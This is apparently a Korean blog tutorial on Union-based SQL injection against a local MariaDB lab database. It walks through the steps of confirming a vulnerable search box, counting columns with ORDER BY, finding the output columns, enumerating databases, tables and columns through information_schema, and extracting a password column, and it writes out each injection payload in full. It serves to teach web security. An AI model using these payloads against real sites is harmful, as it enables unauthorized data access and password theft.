본문 바로가기
정보보안(웹해킹)/SQLInjection

Union SQL Injection

by 끊임없는정진 2022. 11. 3.

 

▶ SQL Injection 항목별 적용법

 

SQL 질의문이 화면에 보이는 경우 : Union SQL Injection

SQL 에러가 응답에 포함되는 경우 : Error based SQL Injection

SQL 질의문 결과가 화면에 나오지 않는 경우 : Blind SQL Injection

※ Blind SQL injection은 속도가 느려서 모든 타입에 무작정 적용하기에는 적합하지 않다.

 

▶ Union 구문이란?

 

Union : Select 문을 한번 더 쓸 수 있게 해주는 명령어 (SELECT ~~ UNION SELECT ~~)

예시)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MariaDB [address]> SELECT * FROM member;
+-------+--------+-------------+-------------+-----------------------------------------------------------------------------------+---------------------+
| jj_no | jj_id  | jj_password | jj_name     | jj_address                                                                        | jj_datetime         |
+-------+--------+-------------+-------------+-----------------------------------------------------------------------------------+---------------------+
|     1 | admin  | admin123    | ShawnMendes | Washington D.C.                                                                   | 2022-11-01 05:04:54 |
|     2 | admin1 | admin123    | 강산에      | 서울특별시 양천구 남부순환로 700 까치마을아파트 106동 309호                         | 2022-11-01 13:22:00 |
|     3 | admin2 | admin123    | 이정재      | 대구광역시 매천시장                             | 2022-11-02 06:42:22 |
+-------+--------+-------------+-------------+-----------------------------------------------------------------------------------+---------------------+
3 rows in set (0.000 sec)
 
 
MariaDB [address]> SELECT jj_no FROM member UNION SELECT jj_id FROM member;
+--------+
| jj_no  |
+--------+
| 1      |
| 2      |
| 3      |
| admin  |
| admin1 |
| admin2 |
+--------+
6 rows in set (0.001 sec)
cs

 

※ 주의할 점 : 서로 Column 수가 다르게 되면 다음과 같은 오류를 띄운다. (따라서, 앞에서 쓰는 칼럼 갯수를 알아야 조회를 할 수 있다.)

1
2
MariaDB [address]> SELECT jj_no, jj_id from member UNION SELECT jj_password from member;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
cs

 

 

 

▶ Union SQL Injection 수행 프로세스

 

① 취약점 확인 

검색창에서 SQL Injection을 수행하는 경우 다음과 같은 SQL 구문을 예상해볼 수 있다. 

1
SELECT ?? FROM ?? WHERE id like '% $검색어 %' 
cs

 

test방법(검색창 기준) : mario$' and '1%' = '1 를 입력했을 때, mario에 대한 정보가 나온다면 취약점이 있는 것이다. ('and' 뒤를 SQL질의문으로 인식하고 있는 것) 

 

② 칼럼 갯수 파악

※ ORDER BY : 정렬하는 SQL 질의문

예시) jj_id 순서대로 정렬

1
2
3
4
5
6
7
8
9
MariaDB [address]> SELECT * FROM member ORDER BY jj_id;
+-------+--------+-------------+-------------+-----------------------------------------------------------------------------------+---------------------+
| jj_no | jj_id  | jj_password | jj_name     | jj_address                                                                        | jj_datetime         |
+-------+--------+-------------+-------------+-----------------------------------------------------------------------------------+---------------------+
|     1 | admin  | admin123    | ShawnMendes | Washington D.C.                                                                   | 2022-11-01 05:04:54 |
|     2 | admin1 | admin123    | 강산에      | 서울특별시 양천구 남부순환로 700 까치마을아파트 106동 309호                           | 2022-11-01 13:22:00 |
|     3 | admin2 | admin123    | 이정재      | 대구광역시 수성구 매천시장                                                           | 2022-11-02 06:42:22 |
+-------+--------+-------------+-------------+-----------------------------------------------------------------------------------+---------------------+
3 rows in set (0.001 sec)
cs

 

예2)jj_id, jj_password 중 첫번째인 jj_id 순으로 정렬

1
2
3
4
5
6
7
8
9
MariaDB [address]> SELECT jj_id,jj_password FROM member ORDER BY 1;
+--------+-------------+
| jj_id  | jj_password |
+--------+-------------+
| admin  | admin123    |
| admin1 | admin123    |
| admin2 | admin123    |
+--------+-------------+
3 rows in set (0.000 sec)
cs

 

ORDER BY 뒤의 숫자를 하나씩 증가시키면서 진행하면 앞에서 쓰이는 칼럼 갯수를 알아낼 수 있다. (쓰이는 칼럼의 수를 넘어가면 오류가 뜨기 때문)

1
2
MariaDB [address]> SELECT jj_id,jj_password FROM member ORDER BY 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'
cs

 

따라서 다음 구문 검색을 데이터가 나오지 않을 때까지 숫자를 늘이면서 반복한다 : mario$' ORDER BY 1,2,3,4....#

검색어로 만들어진 쿼리문은 다음과 같다.

1
MariaDB [address]> SELECT ?? FROM ?? WHERE id like '%mario%' ORDER BY 1#%'
cs

 

 

③ DATA 출력 위치 파악

쓰이는 칼럼이 만약 6개인데, 출력되는 데이터가 4개밖에 되지 않는다면, 출력되는 칼럼을 찾아야 한다. UNION SELECT 1,2,3,4,5,6#을 입력해서 몇번째 칼럼이 출력되는지 확인해준다.

1
SELECT ?? FROM ?? WHERE id like '%mario%' UNION SELECT 1,2,3,4,5,6#%'
cs

만약 검색 결과가 1,2,3,5만 찍힌다고 가정하면, 4번 칼럼과 6번 칼럼은 출력되지 않는 칼럼임을 알 수 있다. <mario$' UNION SELECT 1,2,3,4,5,6#> 포멧은 계속해서 쓰이게 되므로 숙지하자

 

 

④ Database 이름 확인 SQL문

 아직 우리는 이 데이터가 어느 데이터베이스에서 오는지, 어느 테이블에서 오는지 알지 못한다. 여기서 우리는 UNION SELECT의 특성과 시스템 테이블을 활용할 수 있다. 

- UNION SELECT 의 특성 : UNION SELECT의 특성은 앞의 쿼리문에 더해 아래쪽에 SELECT 명령문을 수행하는 것이다. SELECT에 해당하는 건 다 입력할 수 있다(칼럼 내용 불러오기, 계산, 현재시간 등등). 

-Database명 조회 관련 명령문

SELECT DATABASE() : 현재 사용중인 DB명

SELECT 1 FROM Information_schema.SCHEMATA WHERE SCHEMA_NAME = 'DB명' -> 해당 DB 존재여부 확인(있으면 1, 없으면 0)

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA WHERE SCHEMA_NAME = 'DB명'; 

이들을 통해서 다음과 같이 데이터베이스를 조회할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
MariaDB [address]> SELECT database();
+------------+
| database() |
+------------+
| address    |
+------------+
1 row in set (0.000 sec)
 
MariaDB [address]> SELECT 1 FROM Information_schema.SCHEMATA WHERE SCHEMA_NAME = 'Hi';
Empty set (0.000 sec)
 
MariaDB [address]> SELECT 1 FROM Information_schema.SCHEMATA WHERE SCHEMA_NAME = 'address';
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.000 sec)
 
MariaDB [address]> SELECT SCHEMA_NAME FROM information_schema.SCHEMATA WHERE SCHEMA_NAME = "address";
+-------------+
| SCHEMA_NAME |
+-------------+
| address     |
+-------------+
1 row in set (0.000 sec)
cs

 

Database 조회문들 중에서 SELECT database(); 문과 UNION SELECT의 특성을 이용해서 다음과 같이 입력해서 database명을 조회한다. 편의상 여기서 sqli라는 이름의 DB가 출력됐다고 가정하자.

1
SELECT ?? FROM ?? WHERE id like '%mario%' UNION SELECT database(),2,3,4,5,6#%'
cs

 

 

⑤ Table이름 확인

-Database명 조회 관련 명령문

SELECT 1 FROM information_schema.tables WHERE table_schema = 'DB명'  AND table_name = '테이블명' (위와 같이 table이 존재하면 1을 출력한다.)

SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema = 'DB명'

본 SQL Injection 에서 Table조회에 사용할 쿼리문은 다음과 같다.

1
SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli';
cs

 

이를 이용해서 위에서 언급한 포멧에 넣으면 mario$' UNION SELECT TABLE_NAME,2,3,4,5,6 FROM  INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'database_name'# 을 넣을 수 있다. 그렇게 완성된 쿼리문은 다음과 같다.

1
SELECT ?? FROM ?? WHERE id like '%mario%' UNION SELECT TABLE_NAME,2,3,4,5,6 FROM  INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli'#%'
cs

 

이렇게 입력하게 되면, table이름들을 1열에 출력하게 된다. 편의상 여기서 user_info 라는 테이블이 출력됐다고 가정하자.

 

 

⑥ column 이름 확인

다음과 같은 쿼리문을 이용한다. 

1
SELECT column_name FROM information_schema.columns WHERE table_name = 'user_info';
cs

 

그러면 UNION SELECT로 다음과 같은 쿼리문을 완성시켜야 된다. 

1
SELECT ?? FROM table_name WHERE id like '%mario%' UNION SELECT column_name,2,3,4,5,6 from information_schema.columns WHERE table_name = 'user_info'#
cs

 

<mario$' UNION SELECT column_name,2,3,4,5,6 from information_schema.columns WHERE table_name = 'user_info'#> 를 입력하면 해당 쿼리문이 완성됨을 예상할 수 있다. 그럼 칼럼명이 1열에 출력되게 된다. 여기서 'password'라는 칼럼을 발견했다고 가정하자.

 

 

⑦ 비밀번호 추출

다음과 같은 쿼리문을 조회하면 비밀번호를 알 수 있다. 

1
SELECT ?? FROM table_name WHERE id like '%mario%' UNION SELECT password,2,3,4,5,6 FROM 'user_info'
cs

 

저기서 검색어에 들어갈 부분만 잘라낸다면 <%mario%' UNION SELECT password,2,3,4,5,6 FROM 'user_info'#>와 같이 입력하면 비밀번호 탈취가 가능하다.

댓글